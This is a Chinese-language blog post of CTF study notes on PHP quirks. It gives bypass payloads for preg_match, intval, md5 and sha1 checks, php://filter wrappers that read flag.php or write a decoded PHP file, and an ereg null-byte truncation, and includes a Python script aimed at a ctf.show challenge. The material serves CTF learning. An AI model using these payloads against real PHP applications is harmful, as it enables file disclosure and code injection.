ctf中php特性

ctf中php特性

preg_match()

1
2
preg_match()
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

runoob

1数组绕过

preg_match()只能处理字符串,当传入的subject是数组时会返回false

2换行绕过

cmd=%0aphp

3最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。

1
2
3
4
5
6
7
import requests
url="http://15bdcf89-9e10-4205-b3b4-6b3a0e45651a.chall.ctf.show:8080/"
data={
'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

intval()

int intval ( mixed $var [, int $base = 10 ] )
intval() 函数用于获取变量的整数值。
runoob

1字符绕过

intval()而言,如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。如果字符串第一个是‘-’,则从第二个开始算起。
payload:num=4476a

2科学计数法

intval()int函数如果b a s e 为 0 则 base为0则base为0则var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中表示科学计数法。

3进制转换

0b?? : 二进制
0??? : 八进制
0X?? : 十六进制
payload:num=010574(4476)

4小数点绕过

过滤了开头是‘0’的字符串
进制转换绕过不可行了,只能通过小数点,使得intval()转变为int()
payload:num=4476.0

md5

md5

1强类型比较

两个md5后的值采用严格比较,没有规定字符串如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过
md5() 函数不能处理数组,数组都返回 null,md5(a[]) 结果为 null。

2弱类型比较

只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会现转换字符串的类型,在进行比较,而在比较是因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等

3md5碰撞

真实md5碰撞,因为此时不能输入数组了,只能输入字符串

1
2
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

优先级

符号

&&与||的优先级高于=
=的优先级高于and与or

get post

http协议默认先以get方式获取数据,无论是否以哪种方式发起的,总是get方式优先,即通过get方式获取到了数据就不会再去通过post方式获取一遍,如果get方式获取不到,再以post方式获取。

PHP伪协议

写文件

配合file_put_contents(v 3 , v3,v3,str);函数 //在需要base64转换的时候

1
v3=php://filter/write=convert.base64-decode/resource=1.php&str=......

读文件

通常我们使用:

1
php://filter/read=convert.base64-encode/resource=flag.php

当ban掉base64的时候,我们还可以用其他编码方式(或者不编码):

1
2
3
4
php://filter/resource=flag.php		
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php //可打印字符引用编码
compress.zlib://flag.php //压缩流

伪协议支持多种编码方式,无效的ctfshow就被忽略掉了:

1
2
f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
filter

is_file()函数
判断是否为文件

php伪协议绕过
highlight_file()可以识别php伪协议 is_file()不能识别php伪协议

/proc/self/root
在linux中/proc/self/root是指向根目录的 也就是如果在命令行中输入 ls /proc/self/root
其实显示的内容是根目录下的内容 多次重复后绕过is_file

sha1

1数组绕过

if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
payload:v1[]=1 v2[]=2

2强类型比较

v1=aaK1STf //0e7665852665575620768827115962402601
v2=aaO8zKZF //0e89257456677279068558073954252716165

parse_str()

parse_str() 函数把查询字符串解析到变量中。
若要post参数,需加引号,如:
v1='flag=0'

ereg()截断漏洞

1
2
3
4
5
6
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
die('error');
}
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

payload: c=a%00778
反转后:c=877=0x36d
strrev()
反转字符串,常出现在%00截断漏洞中
注:%00是一个整体,不会反转成00%


ctf中php特性
http://example.com/2023/04/09/web学习/sql注入/ctf中的php特性/
作者
Englobe
发布于
2023年4月9日
许可协议